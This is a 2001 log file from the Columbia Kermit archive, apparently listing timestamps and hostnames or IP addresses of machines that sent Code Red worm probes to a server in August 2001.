home *** CD-ROM | disk | FTP | other *** search
/ Columbia Kermit / kermit.zip / cu / codered.log < prev    next >
Text File  |  2020-01-01  |  2MB  |  13,483 lines
  1. 20010815 18:18:31: dynamic-54-87.dyn.columbia.edu
  2. 20010815 18:33:08: host129.20365176.gcn.net.tw
  3. 20010815 18:40:43: 128.59.56.115
  4. 20010815 19:29:30: 128.59.56.115
  5. 20010815 20:40:34: gaea.ilt.columbia.edu
  6. 20010815 20:58:29: dynamic-54-87.dyn.columbia.edu
  7. 20010815 20:58:35: gaea.ilt.columbia.edu
  8. 20010815 21:03:46: gaea.ilt.columbia.edu
  9. 20010815 21:44:04: dynamic-54-87.dyn.columbia.edu
  10. 20010815 22:42:33: dialup-cc2-76.cc.columbia.edu
  11. 20010815 23:01:24: captdavid.resnet.tamu.edu
  12. 20010816 00:15:51: 128.59.56.115
  13. 20010816 01:25:36: dialup-cc1-86.cc.columbia.edu
  14. 20010816 04:00:25: 128.59.56.115
  15. 20010816 04:51:19: 128.59.56.115
  16. 20010816 06:21:27: GRACJA
  17. 20010816 06:54:47: 128.59.56.115
  18. 20010816 07:52:05: dialup-cc2-69.cc.columbia.edu
  19. 20010816 09:48:20: deuteronomy.hr.columbia.edu
  20. 20010816 10:26:00: deuteronomy.hr.columbia.edu
  21. 20010816 10:32:17: gaea.ilt.columbia.edu
  22. 20010816 10:58:18: deuteronomy.hr.columbia.edu
  23. 20010816 12:20:45: 202.56.138.83
  24. 20010816 12:28:06: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  25. 20010816 13:16:52: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  26. 20010816 14:20:34:  [128.59.56.115]
  27. 20010816 14:56:25: deuteronomy.hr.columbia.edu [128.59.25.36]
  28. 20010816 15:08:34: deuteronomy.hr.columbia.edu [128.59.25.36]
  29. 20010816 15:21:47:  [128.59.56.115]
  30. 20010816 16:44:12: deuteronomy.hr.columbia.edu [128.59.25.36]
  31. 20010816 16:45:49:  [211.183.164.137]
  32. 20010816 16:48:17: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  33. 20010816 17:36:34: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  34. 20010816 17:56:49:  [61.170.149.194]
  35. 20010816 18:04:39: fgd61.eastnet.gatech.edu [128.61.100.189]
  36. 20010816 21:52:12:  [211.159.39.90]
  37. 20010816 22:07:14: dialup-cc3-55.cc.columbia.edu [128.59.42.160]
  38. 20010816 22:07:38:  [128.134.254.162]
  39. 20010817 05:37:14:  [61.175.211.62]
  40. 20010817 07:18:02: host55-27.lan-isdn.imaginet.fr [195.68.55.27]
  41. 20010817 07:25:32: tcforum.tc.columbia.edu [128.59.91.4]
  42. 20010817 07:26:15: tcforum.tc.columbia.edu [128.59.91.4]
  43. 20010817 07:26:19: tcforum.tc.columbia.edu [128.59.91.4]
  44. 20010817 07:26:25: tcforum.tc.columbia.edu [128.59.91.4]
  45. 20010817 07:26:28: tcforum.tc.columbia.edu [128.59.91.4]
  46. 20010817 07:27:05: tcforum.tc.columbia.edu [128.59.91.4]
  47. 20010817 07:27:06: tcforum.tc.columbia.edu [128.59.91.4]
  48. 20010817 07:27:07: tcforum.tc.columbia.edu [128.59.91.4]
  49. 20010817 07:27:08: tcforum.tc.columbia.edu [128.59.91.4]
  50. 20010817 07:27:44: tcforum.tc.columbia.edu [128.59.91.4]
  51. 20010817 07:29:49: tcforum.tc.columbia.edu [128.59.91.4]
  52. 20010817 10:21:16: BL132199.bluford.ncat.edu [152.8.107.224]
  53. 20010817 11:10:07:  [61.137.86.89]
  54. 20010817 11:56:27: dfeugey.posse-press.com []
  55. 20010817 12:44:51:  [128.197.234.115]
  56. 20010817 13:38:36:  [128.163.58.158]
  57. 20010817 15:24:23: sfghdhcp101-136.ucsf.EDU [128.218.101.136]
  58. 20010817 16:25:26:  [128.134.25.90]
  59. 20010817 16:42:03:  [65.114.198.35]
  60. 20010817 17:25:33: micronetdev02.cul.columbia.edu [128.59.38.73]
  61. 20010817 17:29:01: dhcp36.cs.columbia.edu [128.59.19.236]
  62. 20010817 18:08:16:  [202.110.114.199]
  63. 20010817 18:22:36: ucsf-228-103.ucsf.edu [128.218.228.103]
  64. 20010817 18:32:01: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  65. 20010817 18:39:26: dhcp36.cs.columbia.edu [128.59.19.236]
  66. 20010817 18:47:04: bus205-197.gsb.columbia.edu [128.59.205.197]
  67. 20010817 18:53:59:  [61.137.86.89]
  68. 20010817 19:53:11: bus205-197.gsb.columbia.edu [128.59.205.197]
  69. 20010817 20:28:21: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  70. 20010817 20:29:51: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  71. 20010817 20:38:26: micronetdev02.cul.columbia.edu [128.59.38.73]
  72. 20010817 20:53:23: micronetdev02.cul.columbia.edu [128.59.38.73]
  73. 20010817 21:03:43: dynamic-99-110.dyn.columbia.edu [128.59.99.110]
  74. 20010817 21:03:47: dynamic-99-110.dyn.columbia.edu [128.59.99.110]
  75. 20010817 21:03:54: dynamic-99-110.dyn.columbia.edu [128.59.99.110]
  76. 20010817 21:03:54: dynamic-99-110.dyn.columbia.edu [128.59.99.110]
  77. 20010817 21:03:58: dynamic-99-110.dyn.columbia.edu [128.59.99.110]
  78. 20010817 21:04:11: dynamic-99-110.dyn.columbia.edu [128.59.99.110]
  79. 20010817 21:04:13: dynamic-99-110.dyn.columbia.edu [128.59.99.110]
  80. 20010817 21:04:13: dynamic-99-110.dyn.columbia.edu [128.59.99.110]
  81. 20010817 21:04:15: dynamic-99-110.dyn.columbia.edu [128.59.99.110]
  82. 20010817 21:04:15: dynamic-99-110.dyn.columbia.edu [128.59.99.110]
  83. 20010817 21:04:15: dynamic-99-110.dyn.columbia.edu [128.59.99.110]
  84. 20010817 21:04:15: dynamic-99-110.dyn.columbia.edu [128.59.99.110]
  85. 20010817 21:04:17: dynamic-99-110.dyn.columbia.edu [128.59.99.110]
  86. 20010817 21:04:23: dynamic-99-110.dyn.columbia.edu [128.59.99.110]
  87. 20010817 21:04:27: dynamic-99-110.dyn.columbia.edu [128.59.99.110]
  88. 20010817 21:04:31: dynamic-99-110.dyn.columbia.edu [128.59.99.110]
  89. 20010817 21:05:43: dynamic-99-110.dyn.columbia.edu [128.59.99.110]
  90. 20010817 21:06:03: dynamic-99-110.dyn.columbia.edu [128.59.99.110]
  91. 20010817 21:06:03: dynamic-99-110.dyn.columbia.edu [128.59.99.110]
  92. 20010817 21:06:23: dynamic-99-110.dyn.columbia.edu [128.59.99.110]
  93. 20010817 21:06:43: dynamic-99-110.dyn.columbia.edu [128.59.99.110]
  94. 20010817 21:06:46: dynamic-99-110.dyn.columbia.edu [128.59.99.110]
  95. 20010817 21:06:53: dynamic-99-110.dyn.columbia.edu [128.59.99.110]
  96. 20010817 21:07:00: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  97. 20010817 21:07:03: dynamic-99-110.dyn.columbia.edu [128.59.99.110]
  98. 20010817 21:28:21: micronetdev02.cul.columbia.edu [128.59.38.73]
  99. 20010817 21:37:50: micronetdev02.cul.columbia.edu [128.59.38.73]
  100. 20010817 22:13:01: dynamic-99-110.dyn.columbia.edu [128.59.99.110]
  101. 20010817 22:23:03: micronetdev02.cul.columbia.edu [128.59.38.73]
  102. 20010817 22:48:29: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  103. 20010817 23:06:50: micronetdev02.cul.columbia.edu [128.59.38.73]
  104. 20010817 23:19:50: bus205-197.gsb.columbia.edu [128.59.205.197]
  105. 20010817 23:23:40: bus205-197.gsb.columbia.edu [128.59.205.197]
  106. 20010817 23:27:53: dhcp36.cs.columbia.edu [128.59.19.236]
  107. 20010817 23:52:22: dhcp36.cs.columbia.edu [128.59.19.236]
  108. 20010817 23:58:05: dhcp36.cs.columbia.edu [128.59.19.236]
  109. 20010818 00:18:04: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  110. 20010818 00:24:36: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  111. 20010818 01:01:13: dhcp36.cs.columbia.edu [128.59.19.236]
  112. 20010818 01:11:40: dhcp36.cs.columbia.edu [128.59.19.236]
  113. 20010818 01:34:20: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  114. 20010818 02:02:54: micronetdev02.cul.columbia.edu [128.59.38.73]
  115. 20010818 02:09:47: dialup-cc3-56.cc.columbia.edu [128.59.42.161]
  116. 20010818 02:31:01: dialup-cc3-56.cc.columbia.edu [128.59.42.161]
  117. 20010818 02:38:07: dhcp36.cs.columbia.edu [128.59.19.236]
  118. 20010818 02:48:40:  [211.50.146.1]
  119. 20010818 03:16:49: dhcp36.cs.columbia.edu [128.59.19.236]
  120. 20010818 03:21:56: micronetdev02.cul.columbia.edu [128.59.38.73]
  121. 20010818 03:29:44: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  122. 20010818 04:08:05: ns.optiy.co.jp [210.248.124.50]
  123. 20010818 04:52:36: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  124. 20010818 05:12:55: dhcp36.cs.columbia.edu [128.59.19.236]
  125. 20010818 05:17:07: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  126. 20010818 06:06:38: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  127. 20010818 06:14:17: jrb-fileserv.jrn.columbia.edu [128.59.96.75]
  128. 20010818 06:16:53: dhcp36.cs.columbia.edu [128.59.19.236]
  129. 20010818 07:32:10: micronetdev02.cul.columbia.edu [128.59.38.73]
  130. 20010818 07:39:46: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  131. 20010818 07:52:36: micronetdev02.cul.columbia.edu [128.59.38.73]
  132. 20010818 08:06:28: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  133. 20010818 08:30:48:  [128.252.251.173]
  134. 20010818 09:47:20: luis.inag.pt [193.136.235.99]
  135. 20010818 10:56:10: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  136. 20010818 10:57:49: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  137. 20010818 11:16:36: micronetdev02.cul.columbia.edu [128.59.38.73]
  138. 20010818 12:18:20: systemtalk.systemtalk.co.jp [210.196.162.242]
  139. 20010818 13:04:50: BOS-ADMIN43.BU.EDU [128.197.235.43]
  140. 20010818 13:31:35: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  141. 20010818 14:04:44: micronetdev02.cul.columbia.edu [128.59.38.73]
  142. 20010818 14:18:19: dhcp36.cs.columbia.edu [128.59.19.236]
  143. 20010818 14:29:31: dyn-lern-24-185.dyn.columbia.edu [128.59.24.185]
  144. 20010818 14:39:48: micronetdev02.cul.columbia.edu [128.59.38.73]
  145. 20010818 15:44:32: YOGH            [01-097.052.popsite.net]
  146. 20010818 16:50:51: bus205-197.gsb.columbia.edu [128.59.205.197]
  147. 20010818 17:38:39: bus205-197.gsb.columbia.edu [128.59.205.197]
  148. 20010818 17:57:23: dhcp36.cs.columbia.edu [128.59.19.236]
  149. 20010818 18:07:24: commerce.117.205.216.in-addr.arpa []
  150. 20010818 18:16:35: bus205-197.gsb.columbia.edu [128.59.205.197]
  151. 20010818 20:10:18: dhcp36.cs.columbia.edu [128.59.19.236]
  152. 20010818 20:15:34: bus205-197.gsb.columbia.edu [128.59.205.197]
  153. 20010818 20:26:51: dhcp36.cs.columbia.edu [128.59.19.236]
  154. 20010818 20:35:31: bus205-197.gsb.columbia.edu [128.59.205.197]
  155. 20010818 20:49:42: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  156. 20010818 22:49:49: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  157. 20010818 22:56:33: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  158. 20010818 22:58:54: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  159. 20010818 23:40:50: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  160. 20010818 23:46:29: dhcp36.cs.columbia.edu [128.59.19.236]
  161. 20010818 23:55:42: dhcp36.cs.columbia.edu [128.59.19.236]
  162. 20010818 23:57:41: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  163. 20010819 00:00:19: bus205-197.gsb.columbia.edu [128.59.205.197]
  164. 20010819 00:25:52: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  165. 20010819 00:31:02: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  166. 20010819 00:55:13: jrb-fileserv.jrn.columbia.edu [128.59.96.75]
  167. 20010819 00:55:23: jrb-fileserv.jrn.columbia.edu [128.59.96.75]
  168. 20010819 00:55:24: jrb-fileserv.jrn.columbia.edu [128.59.96.75]
  169. 20010819 00:55:26: jrb-fileserv.jrn.columbia.edu [128.59.96.75]
  170. 20010819 00:55:27: jrb-fileserv.jrn.columbia.edu [128.59.96.75]
  171. 20010819 00:55:30: jrb-fileserv.jrn.columbia.edu [128.59.96.75]
  172. 20010819 00:55:33: jrb-fileserv.jrn.columbia.edu [128.59.96.75]
  173. 20010819 00:55:33: jrb-fileserv.jrn.columbia.edu [128.59.96.75]
  174. 20010819 00:55:36: jrb-fileserv.jrn.columbia.edu [128.59.96.75]
  175. 20010819 00:55:36: jrb-fileserv.jrn.columbia.edu [128.59.96.75]
  176. 20010819 00:55:40: jrb-fileserv.jrn.columbia.edu [128.59.96.75]
  177. 20010819 00:55:43: jrb-fileserv.jrn.columbia.edu [128.59.96.75]
  178. 20010819 00:55:43: jrb-fileserv.jrn.columbia.edu [128.59.96.75]
  179. 20010819 00:55:43: jrb-fileserv.jrn.columbia.edu [128.59.96.75]
  180. 20010819 01:01:49: dhcp36.cs.columbia.edu [128.59.19.236]
  181. 20010819 01:10:55: dialup-ccts5-24.cc.columbia.edu [128.59.6.33]
  182. 20010819 01:24:53: dhcp36.cs.columbia.edu [128.59.19.236]
  183. 20010819 01:47:45: mcut-d-025.resnet.purdue.edu [128.211.211.25]
  184. 20010819 01:48:26: dhcp36.cs.columbia.edu [128.59.19.236]
  185. 20010819 01:49:53: dhcp36.cs.columbia.edu [128.59.19.236]
  186. 20010819 02:01:23: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  187. 20010819 02:06:36: dhcp36.cs.columbia.edu [128.59.19.236]
  188. 20010819 02:59:57:  [61.150.130.198]
  189. 20010819 04:11:57: dhcp36.cs.columbia.edu [128.59.19.236]
  190. 20010819 04:14:30: dhcp36.cs.columbia.edu [128.59.19.236]
  191. 20010819 04:16:25: dhcp36.cs.columbia.edu [128.59.19.236]
  192. 20010819 04:56:15:  [202.110.114.199]
  193. 20010819 05:07:19: dialup-cc2-20.cc.columbia.edu [128.59.58.125]
  194. 20010819 05:47:05: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  195. 20010819 06:17:49: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  196. 20010819 06:56:05: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  197. 20010819 07:03:47: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  198. 20010819 07:16:43: dhcp36.cs.columbia.edu [128.59.19.236]
  199. 20010819 08:05:40: silvoffice.harvard.edu [128.103.101.117]
  200. 20010819 09:15:32: dhcp36.cs.columbia.edu [128.59.19.236]
  201. 20010819 09:36:09: dialup-cc2-76.cc.columbia.edu [128.59.58.181]
  202. 20010819 10:28:22: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  203. 20010819 10:28:51: hebe.sie.arizona.edu [128.196.219.195]
  204. 20010819 12:03:23: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  205. 20010819 13:03:31: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  206. 20010819 13:57:36: MFG-DLP.BU.EDU [128.197.179.159]
  207. 20010819 14:11:23: CM-17-210.chello.cl [24.152.17.210]
  208. 20010819 16:05:36: r42h80.res.gatech.edu [128.61.42.80]
  209. 20010819 16:41:20:  [211.160.240.3]
  210. 20010819 16:50:16: dhcp36.cs.columbia.edu [128.59.19.236]
  211. 20010819 17:55:07: wily-b-049.resnet.purdue.edu [128.211.225.49]
  212. 20010819 18:09:54: dialup-ccts5-158.cc.columbia.edu [128.59.6.167]
  213. 20010819 20:10:21: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  214. 20010819 20:29:41: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  215. 20010819 20:45:53: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  216. 20010819 20:46:52: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  217. 20010819 21:43:38:  [61.137.86.89]
  218. 20010819 22:09:23: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  219. 20010819 23:53:46: YOGH            [03-205.052.popsite.net]
  220. 20010820 00:08:41: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  221. 20010820 00:35:37: GRUEL-115-34.PPP.ANDREW.CMU.EDU [128.2.115.34]
  222. 20010820 01:32:11: dhcp36.cs.columbia.edu [128.59.19.236]
  223. 20010820 02:03:10: dhcp36.cs.columbia.edu [128.59.19.236]
  224. 20010820 02:58:35: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  225. 20010820 03:54:57:  [128.196.60.54]
  226. 20010820 04:34:12: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  227. 20010820 04:42:23: dhcp36.cs.columbia.edu [128.59.19.236]
  228. 20010820 05:00:13: dhcp36.cs.columbia.edu [128.59.19.236]
  229. 20010820 05:10:22: jrb-fileserv.jrn.columbia.edu [128.59.96.75]
  230. 20010820 05:34:17: dhcp36.cs.columbia.edu [128.59.19.236]
  231. 20010820 06:01:11: ubr-a-33.104.198.wintersprings.cfl.rr.com [65.33.104.198]
  232. 20010820 06:33:32:  [211.23.51.210]
  233. 20010820 07:43:33:  [128.134.54.169]
  234. 20010820 09:58:36: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  235. 20010820 10:55:58: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  236. 20010820 11:40:48: dynamic-51-234.dyn.columbia.edu [128.59.51.234]
  237. 20010820 11:46:34: dhcp36.cs.columbia.edu [128.59.19.236]
  238. 20010820 11:51:28: dhcp36.cs.columbia.edu [128.59.19.236]
  239. 20010820 12:27:07: dhcp36.cs.columbia.edu [128.59.19.236]
  240. 20010820 13:24:33: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  241. 20010820 13:38:12: dhcp36.cs.columbia.edu [128.59.19.236]
  242. 20010820 13:39:22: sf3104-1.civ.utoronto.ca [128.100.14.36]
  243. 20010820 14:02:27: lewd36.dsp.columbia.edu [128.59.207.88]
  244. 20010820 14:12:25: dialup-ccts5-160.cc.columbia.edu [128.59.6.169]
  245. 20010820 14:28:21: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  246. 20010820 14:30:50: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  247. 20010820 14:43:00: dhcp36.cs.columbia.edu [128.59.19.236]
  248. 20010820 16:03:22: lewd36.dsp.columbia.edu [128.59.207.88]
  249. 20010820 16:32:14: dynamic-51-234.dyn.columbia.edu [128.59.51.234]
  250. 20010820 17:10:03: dialup-ccts5-89.cc.columbia.edu [128.59.6.98]
  251. 20010820 17:14:20: dynamic-51-234.dyn.columbia.edu [128.59.51.234]
  252. 20010820 18:04:48: dynamic-51-234.dyn.columbia.edu [128.59.51.234]
  253. 20010820 18:34:00: dynamic-33-138.dyn.columbia.edu [128.59.33.138]
  254. 20010820 18:45:27: dhcp36.cs.columbia.edu [128.59.19.236]
  255. 20010820 18:56:33: 63.125.29.199 []
  256. 20010820 19:36:51: dynamic-51-234.dyn.columbia.edu [128.59.51.234]
  257. 20010820 19:45:03: dhcp36.cs.columbia.edu [128.59.19.236]
  258. 20010820 19:48:34: 216.205.172.130 []
  259. 20010820 19:53:18: 216.215.144.201.nw.TriVergent.Net []
  260. 20010820 19:53:49: dialup-ccts5-40.cc.columbia.edu [128.59.6.49]
  261. 20010820 20:02:10: dialup-ccts5-160.cc.columbia.edu [128.59.6.169]
  262. 20010820 20:27:48: dynamic-51-234.dyn.columbia.edu [128.59.51.234]
  263. 20010820 21:01:16: dynamic-51-234.dyn.columbia.edu [128.59.51.234]
  264. 20010820 21:16:15: dialup-ccts5-160.cc.columbia.edu [128.59.6.169]
  265. 20010820 21:31:44: dialup-1-39.cc.columbia.edu [128.59.42.48]
  266. 20010820 22:16:44: bus205-197.gsb.columbia.edu [128.59.205.197]
  267. 20010820 22:17:00: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  268. 20010820 22:22:54: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  269. 20010820 22:36:33: bus205-197.gsb.columbia.edu [128.59.205.197]
  270. 20010820 22:42:04: dialup-1-36.cc.columbia.edu [128.59.42.45]
  271. 20010820 22:45:08: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  272. 20010820 23:09:45: bus205-197.gsb.columbia.edu [128.59.205.197]
  273. 20010820 23:17:03: bus205-197.gsb.columbia.edu [128.59.205.197]
  274. 20010820 23:57:08: 61.79.118.144 []
  275. 20010821 00:02:30: dialup-ccts5-60.cc.columbia.edu [128.59.6.69]
  276. 20010821 00:05:59: dynamic-51-234.dyn.columbia.edu [128.59.51.234]
  277. 20010821 00:13:22: dialup-ccts5-60.cc.columbia.edu [128.59.6.69]
  278. 20010821 00:23:47: dialup-ccts5-60.cc.columbia.edu [128.59.6.69]
  279. 20010821 00:28:54: dhcp36.cs.columbia.edu [128.59.19.236]
  280. 20010821 00:43:34: dhcp36.cs.columbia.edu [128.59.19.236]
  281. 20010821 01:06:44: dialup-cc2-88.cc.columbia.edu [128.59.58.193]
  282. 20010821 01:39:33: dynamic-51-234.dyn.columbia.edu [128.59.51.234]
  283. 20010821 01:43:30: moore162ewa.lll.hawaii.edu [128.171.23.153]
  284. 20010821 03:16:58: dynamic-51-234.dyn.columbia.edu [128.59.51.234]
  285. 20010821 06:12:21: dynamic-51-234.dyn.columbia.edu [128.59.51.234]
  286. 20010821 06:16:14: dynamic-51-234.dyn.columbia.edu [128.59.51.234]
  287. 20010821 06:31:34: hufei.camp.clarkson.edu [128.153.15.199]
  288. 20010821 06:44:44: dhcp36.cs.columbia.edu [128.59.19.236]
  289. 20010821 07:25:17: ip-114-133-86.phx.extremezone.com [63.114.133.86]
  290. 20010821 07:29:15: dhcp36.cs.columbia.edu [128.59.19.236]
  291. 20010821 08:50:42: 128.121.167.245 []
  292. 20010821 09:52:42: TY156000.BU.EDU [128.197.230.144]
  293. 20010821 10:40:46: dynamic-51-234.dyn.columbia.edu [128.59.51.234]
  294. 20010821 11:16:22: dynamic-51-234.dyn.columbia.edu [128.59.51.234]
  295. 20010821 11:20:54: dialup-1-30.cc.columbia.edu [128.59.42.39]
  296. 20010821 11:27:14: 01-085.052.popsite.net [64.24.22.85]
  297. 20010821 11:31:57: sgrm294.grm.hia.no [128.39.203.38]
  298. 20010821 12:07:24: 193-153-183-107.uc.nombres.ttd.es [193.153.183.107]
  299. 20010821 16:00:54: lewd32.dsp.columbia.edu [128.59.207.84]
  300. 20010821 16:23:50: lewd32.dsp.columbia.edu [128.59.207.84]
  301. 20010821 16:32:23: lewc01.dsp.columbia.edu [128.59.207.60]
  302. 20010821 17:06:53: lewc01.dsp.columbia.edu [128.59.207.60]
  303. 20010821 17:07:13: dhcp36.cs.columbia.edu [128.59.19.236]
  304. 20010821 17:29:19: lewc01.dsp.columbia.edu [128.59.207.60]
  305. 20010821 18:21:50: bus205-197.gsb.columbia.edu [128.59.205.197]
  306. 20010821 19:06:07: dynamic-104-228.dyn.columbia.edu [128.59.104.228]
  307. 20010821 19:41:27: dhcp36.cs.columbia.edu [128.59.19.236]
  308. 20010821 19:49:24: hufei.camp.clarkson.edu [128.153.15.199]
  309. 20010821 19:50:20: dynamic-104-228.dyn.columbia.edu [128.59.104.228]
  310. 20010821 20:27:00: lsllc04.erols.com [208.58.75.228]
  311. 20010821 20:57:24: 206.129.55.60 []
  312. 20010821 22:57:30: sahara-2.econ.columbia.edu [128.59.160.55]
  313. 20010821 23:04:20: udp007812uds.ucsf.edu [128.218.102.3]
  314. 20010821 23:35:32: dhcp36.cs.columbia.edu [128.59.19.236]
  315. 20010821 23:36:58: dhcp36.cs.columbia.edu [128.59.19.236]
  316. 20010821 23:54:52: bus205-176.gsb.columbia.edu [128.59.205.176]
  317. 20010822 00:07:17: 128.134.54.169 []
  318. 20010822 00:27:12: sahara-2.econ.columbia.edu [128.59.160.55]
  319. 20010822 00:27:18: sahara-2.econ.columbia.edu [128.59.160.55]
  320. 20010822 00:27:21: sahara-2.econ.columbia.edu [128.59.160.55]
  321. 20010822 00:27:22: sahara-2.econ.columbia.edu [128.59.160.55]
  322. 20010822 00:27:22: sahara-2.econ.columbia.edu [128.59.160.55]
  323. 20010822 00:27:24: sahara-2.econ.columbia.edu [128.59.160.55]
  324. 20010822 00:27:25: sahara-2.econ.columbia.edu [128.59.160.55]
  325. 20010822 00:27:27: sahara-2.econ.columbia.edu [128.59.160.55]
  326. 20010822 00:27:28: sahara-2.econ.columbia.edu [128.59.160.55]
  327. 20010822 00:27:33: sahara-2.econ.columbia.edu [128.59.160.55]
  328. 20010822 00:27:33: sahara-2.econ.columbia.edu [128.59.160.55]
  329. 20010822 00:27:35: sahara-2.econ.columbia.edu [128.59.160.55]
  330. 20010822 00:27:41: sahara-2.econ.columbia.edu [128.59.160.55]
  331. 20010822 00:27:41: sahara-2.econ.columbia.edu [128.59.160.55]
  332. 20010822 00:27:42: sahara-2.econ.columbia.edu [128.59.160.55]
  333. 20010822 00:27:42: sahara-2.econ.columbia.edu [128.59.160.55]
  334. 20010822 00:27:42: sahara-2.econ.columbia.edu [128.59.160.55]
  335. 20010822 00:27:49: sahara-2.econ.columbia.edu [128.59.160.55]
  336. 20010822 00:27:52: sahara-2.econ.columbia.edu [128.59.160.55]
  337. 20010822 00:27:52: sahara-2.econ.columbia.edu [128.59.160.55]
  338. 20010822 00:27:56: sahara-2.econ.columbia.edu [128.59.160.55]
  339. 20010822 00:28:01: sahara-2.econ.columbia.edu [128.59.160.55]
  340. 20010822 00:28:02: sahara-2.econ.columbia.edu [128.59.160.55]
  341. 20010822 00:28:02: sahara-2.econ.columbia.edu [128.59.160.55]
  342. 20010822 00:28:02: sahara-2.econ.columbia.edu [128.59.160.55]
  343. 20010822 00:28:05: sahara-2.econ.columbia.edu [128.59.160.55]
  344. 20010822 01:50:05: bus205-176.gsb.columbia.edu [128.59.205.176]
  345. 20010822 01:54:46: dhcp36.cs.columbia.edu [128.59.19.236]
  346. 20010822 02:09:23: bus205-176.gsb.columbia.edu [128.59.205.176]
  347. 20010822 02:25:01: sahara-2.econ.columbia.edu [128.59.160.55]
  348. 20010822 03:19:26: r77h144.res.gatech.edu [128.61.77.144]
  349. 20010822 03:55:09: dhcp36.cs.columbia.edu [128.59.19.236]
  350. 20010822 05:25:13: 01-085.052.popsite.net [64.24.22.85]
  351. 20010822 06:54:19: sc57.eastnet.gatech.edu [128.61.106.57]
  352. 20010822 07:08:14: bus205-176.gsb.columbia.edu [128.59.205.176]
  353. 20010822 08:11:02: dhcp36.cs.columbia.edu [128.59.19.236]
  354. 20010822 08:15:09: bus205-176.gsb.columbia.edu [128.59.205.176]
  355. 20010822 08:25:07: theodore.ece.uci.edu [128.200.94.53]
  356. 20010822 09:01:44: sahara-2.econ.columbia.edu [128.59.160.55]
  357. 20010822 09:01:46: sahara-2.econ.columbia.edu [128.59.160.55]
  358. 20010822 09:02:06: sahara-2.econ.columbia.edu [128.59.160.55]
  359. 20010822 09:02:36: sahara-2.econ.columbia.edu [128.59.160.55]
  360. 20010822 09:02:54: sahara-2.econ.columbia.edu [128.59.160.55]
  361. 20010822 09:03:07: sahara-2.econ.columbia.edu [128.59.160.55]
  362. 20010822 09:03:32: sahara-2.econ.columbia.edu [128.59.160.55]
  363. 20010822 09:04:00: sahara-2.econ.columbia.edu [128.59.160.55]
  364. 20010822 09:04:01: sahara-2.econ.columbia.edu [128.59.160.55]
  365. 20010822 09:12:25: dhcp36.cs.columbia.edu [128.59.19.236]
  366. 20010822 09:18:15: dhcp36.cs.columbia.edu [128.59.19.236]
  367. 20010822 09:40:13: 61.137.63.196 []
  368. 20010822 09:47:50: dhcp36.cs.columbia.edu [128.59.19.236]
  369. 20010822 12:24:33: 216-41-74-9.gis.net []
  370. 20010822 12:30:00: bus205-176.gsb.columbia.edu [128.59.205.176]
  371. 20010822 12:37:15: bus205-176.gsb.columbia.edu [128.59.205.176]
  372. 20010822 12:39:01: dhcp36.cs.columbia.edu [128.59.19.236]
  373. 20010822 13:26:49: 211.204.15.30 []
  374. 20010822 13:32:36: dynamic-235-131.dyn.columbia.edu [128.59.235.131]
  375. 20010822 14:01:45: dynamic-235-131.dyn.columbia.edu [128.59.235.131]
  376. 20010822 14:42:33: bus205-197.gsb.columbia.edu [128.59.205.197]
  377. 20010822 14:47:05: bus205-176.gsb.columbia.edu [128.59.205.176]
  378. 20010822 15:19:51: dynamic-235-131.dyn.columbia.edu [128.59.235.131]
  379. 20010822 15:22:45: bus205-176.gsb.columbia.edu [128.59.205.176]
  380. 20010822 16:02:26: dynamic-235-131.dyn.columbia.edu [128.59.235.131]
  381. 20010822 16:29:29: bus205-176.gsb.columbia.edu [128.59.205.176]
  382. 20010822 16:43:53: dynamic-54-87.dyn.columbia.edu [128.59.54.87]
  383. 20010822 16:54:41: dynamic-235-131.dyn.columbia.edu [128.59.235.131]
  384. 20010822 17:00:32: dynamic-235-131.dyn.columbia.edu [128.59.235.131]
  385. 20010822 17:06:29: dynamic-235-131.dyn.columbia.edu [128.59.235.131]
